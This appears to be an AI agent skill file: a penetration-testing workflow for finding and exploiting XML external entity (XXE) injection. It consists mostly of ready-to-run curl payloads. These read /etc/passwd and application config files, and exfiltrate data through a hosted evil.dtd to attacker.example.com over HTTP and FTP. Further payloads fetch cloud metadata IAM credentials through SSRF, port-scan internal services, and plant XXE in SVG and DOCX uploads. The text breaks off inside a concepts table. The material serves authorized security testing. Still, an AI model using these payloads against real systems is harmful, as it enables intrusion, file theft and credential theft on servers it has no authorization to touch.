testing-for-xxe-injection-vulnerabilities

What this skill does

# Testing for XXE Injection Vulnerabilities

## When to Use

- During authorized penetration tests when the application processes XML input (SOAP APIs, file uploads, RSS feeds)
- When testing APIs that accept `Content-Type: application/xml` or `text/xml`
- For assessing XML parsers in file upload functionality (DOCX, XLSX, SVG, PDF)
- When evaluating SOAP-based web services for entity injection
- During security assessments of enterprise applications using XML configuration

## Prerequisites

- **Authorization**: Written penetration testing agreement for the target
- **Burp Suite Professional**: For intercepting and modifying XML requests
- **XXEinjector**: Automated XXE exploitation tool (`git clone https://github.com/enjoiz/XXEinjector.git`)
- **Out-of-band server**: Burp Collaborator or interactsh for blind XXE detection
- **curl**: For manual payload crafting and submission
- **Python**: For building DTD hosting server

## Workflow

### Step 1: Identify XML Processing Points

Find all application endpoints that accept or process XML data.

```bash
# Look for XML content types in Burp proxy history
# Filter for: Content-Type: application/xml, text/xml, application/soap+xml

# Test if JSON endpoints also accept XML
# Original JSON request:
curl -s -X POST \
  -H "Content-Type: application/json" \
  -d '{"search":"test"}' \
  "https://target.example.com/api/search"

# Try converting to XML:
curl -s -X POST \
  -H "Content-Type: application/xml" \
  -d '<?xml version="1.0"?><root><search>test</search></root>' \
  "https://target.example.com/api/search"

# Check file upload endpoints for XML-based formats
# DOCX, XLSX, PPTX, SVG, PDF, XML, RSS, ATOM, SOAP
# These all contain XML that may be parsed server-side

# Check for SOAP endpoints
curl -s -X POST \
  -H "Content-Type: text/xml" \
  -H "SOAPAction: \"\"" \
  -d '<?xml version="1.0"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><test/></soap:Body></soap:Envelope>' \
  "https://target.example.com/ws/service"
```

### Step 2: Test for Basic XXE with File Retrieval

Inject XML entities to read local files from the server.

```bash
# Basic XXE payload to read /etc/passwd
curl -s -X POST \
  -H "Content-Type: application/xml" \
  -d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root><search>&xxe;</search></root>' \
  "https://target.example.com/api/search"

# Windows file read
curl -s -X POST \
  -H "Content-Type: application/xml" \
  -d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">
]>
<root><search>&xxe;</search></root>' \
  "https://target.example.com/api/search"

# Read application configuration files
curl -s -X POST \
  -H "Content-Type: application/xml" \
  -d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///var/www/html/config.php">
]>
<root><search>&xxe;</search></root>' \
  "https://target.example.com/api/search"

# PHP filter wrapper for base64 encoding (avoids XML parsing errors)
curl -s -X POST \
  -H "Content-Type: application/xml" \
  -d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/var/www/html/config.php">
]>
<root><search>&xxe;</search></root>' \
  "https://target.example.com/api/search"
```

### Step 3: Test Blind XXE with Out-of-Band Detection

When the entity value is not reflected in the response, use out-of-band techniques.

```bash
# Blind XXE with HTTP callback (use Burp Collaborator or interactsh)
# Start interactsh: interactsh-client
# Use the generated domain: abc123.oast.fun

curl -s -X POST \
  -H "Content-Type: application/xml" \
  -d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://abc123.oast.fun/xxe-test">
]>
<root><search>&xxe;</search></root>' \
  "https://target.example.com/api/search"

# Check interactsh/Collaborator for incoming DNS or HTTP requests

# Blind XXE with DNS exfiltration
curl -s -X POST \
  -H "Content-Type: application/xml" \
  -d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://xxe-confirmed.abc123.oast.fun">
]>
<root><search>&xxe;</search></root>' \
  "https://target.example.com/api/search"

# Blind XXE via parameter entities (when regular entities are blocked)
curl -s -X POST \
  -H "Content-Type: application/xml" \
  -d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY % xxe SYSTEM "http://abc123.oast.fun/xxe-param">
  %xxe;
]>
<root><search>test</search></root>' \
  "https://target.example.com/api/search"
```

### Step 4: Exfiltrate Data via Out-of-Band XXE

Use external DTD to extract file contents through HTTP requests.

```bash
# Host a malicious DTD file on attacker server
# Create file: evil.dtd
cat > /tmp/evil.dtd << 'EOF'
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://attacker.example.com/?data=%file;'>">
%eval;
%exfil;
EOF

# Host the DTD
cd /tmp && python3 -m http.server 8888 &

# Send the XXE payload referencing the external DTD
curl -s -X POST \
  -H "Content-Type: application/xml" \
  -d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY % dtd SYSTEM "http://attacker.example.com:8888/evil.dtd">
  %dtd;
]>
<root><search>test</search></root>' \
  "https://target.example.com/api/search"

# For multi-line file exfiltration, use FTP protocol
# evil-ftp.dtd:
cat > /tmp/evil-ftp.dtd << 'EOF'
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'ftp://attacker.example.com/%file;'>">
%eval;
%exfil;
EOF

# Use xxeserv or similar FTP listener to capture multi-line output
# python3 xxeserv.py --ftp --port 2121
```

### Step 5: Test XXE via File Uploads

Test XML parsing in document upload functionality.

```bash
# SVG file with XXE
cat > /tmp/xxe.svg << 'EOF'
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<svg xmlns="http://www.w3.org/2000/svg" width="200" height="200">
  <text x="0" y="20">&xxe;</text>
</svg>
EOF

# Upload the SVG
curl -s -X POST \
  -F "file=@/tmp/xxe.svg;type=image/svg+xml" \
  -b "session=abc123" \
  "https://target.example.com/api/upload/avatar"

# DOCX file with XXE (DOCX is a ZIP containing XML files)
mkdir -p /tmp/xxe-docx
cd /tmp/xxe-docx
# Unzip a legitimate .docx file
unzip /tmp/template.docx -d /tmp/xxe-docx

# Inject XXE into [Content_Types].xml or document.xml
# Add DTD with external entity to document.xml
# Repackage: cd /tmp/xxe-docx && zip -r /tmp/malicious.docx *

# XLSX with XXE (same technique as DOCX)
# Inject into xl/sharedStrings.xml or [Content_Types].xml
```

### Step 6: Test XXE for Server-Side Request Forgery (SSRF)

Use XXE to make the server send requests to internal services.

```bash
# SSRF via XXE to cloud metadata
curl -s -X POST \
  -H "Content-Type: application/xml" \
  -d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">
]>
<root><search>&xxe;</search></root>' \
  "https://target.example.com/api/search"

# Internal port scanning via XXE
for port in 22 80 443 3306 5432 6379 8080 8443 9200; do
  echo -n "Port $port: "
  curl -s -X POST --max-time 5 \
    -H "Content-Type: application/xml" \
    -d "<?xml version=\"1.0\"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM \"http://127.0.0.1:$port/\">]><root><search>&xxe;</search></root>" \
    "https://target.example.com/api/search" | head -c 100
  echo
done

# Access internal services
curl -s -X POST \
  -H "Content-Type: application/xml" \
  -d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://internal-admin.local:8080/admin">
]>
<root><search>&xxe;</search></root>' \
  "https://target.example.com/api/search"
```

## Key Concepts

| Concept | Description |
|---------|-------------|
| **XML External Entity** | An